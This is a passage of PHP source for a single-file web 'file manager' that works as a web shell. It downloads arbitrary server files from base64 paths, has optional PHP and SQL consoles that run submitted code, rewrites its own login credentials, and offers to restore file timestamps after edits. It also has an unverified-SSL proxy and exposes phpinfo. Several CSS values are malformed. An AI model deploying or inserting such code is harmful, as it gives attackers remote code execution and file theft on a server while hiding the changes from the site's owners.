</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
